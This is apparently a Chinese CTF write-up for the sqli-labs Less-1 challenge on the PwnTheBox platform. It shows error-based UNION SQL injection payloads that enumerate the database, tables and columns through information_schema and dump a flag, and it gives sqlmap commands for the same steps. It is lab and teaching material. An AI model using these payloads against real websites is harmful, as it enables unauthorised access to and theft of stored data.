PwnTheBox sqli-labs 通关wp(逐步更新)

本文详细介绍了SQL注入攻击的一种常见场景,通过PwnTheBox平台的Less-1挑战为例,展示了手动和使用sqlmap工具进行注入测试的全过程。首先通过错误信息确定注入点,然后逐步揭露数据库名、表名、列名,最终获取敏感信息(如flag)。文章还提及了如何利用sqlmap自动化完成这些步骤,对于理解SQL注入原理和安全防护具有指导意义。
摘要由CSDN通过智能技术生成

靶场地址:

PwnTheBox - Hacking Platform - CTF Platform - CTF平台 - 网络安全竞赛平台

Less-1

GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

方式一:手动注入

输入单引号,发现页面报错(通过在url中修改对应的id值。为正常数字、大数字、字符、(单引号、双引号、双单引号、括号)、反斜杆来探测url是否存在注入点)

?id=1'

这里它意味着使用查询是:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

下面我们就要进行注入测试,我们输入到order by 4时报错,所以可以判断当前字段值为3

现在就可以暴库名

?id=-1' union select 1,database(),version() --+

然后得到库名“security”

根据库名暴表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查到了 J1sVbiYQ,emails,referers,uagents,users ,从中我们可以猜测 J1sVbiYQ中有可能存在flag

根据我们的猜想暴列名(字段)

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=' J1sVbiYQ' --+

得到列名 id,flag

所以我们的猜想没有错误

暴值

?id=-1' union select 1,2,group_concat(id,flag) from J1sVbiYQ --+

之后就会在下面出现flag(PTB)

方法二:sqlmap工具注入

根据题目,直接使用常规注入

进行暴库

sqlmap.py -u url?id=1 --dbs

然后会出现跟上面手动注入一样的数据库,之后进行暴表

sqlmap.py -u url?id=1-D security --tables

暴列名和值(也可以分开,只要重复上述步骤)

sqlmap.py -u url?id=1-D security -T J1sVbiYQ -- column --dump

就会出来flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

池奈飞羽

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值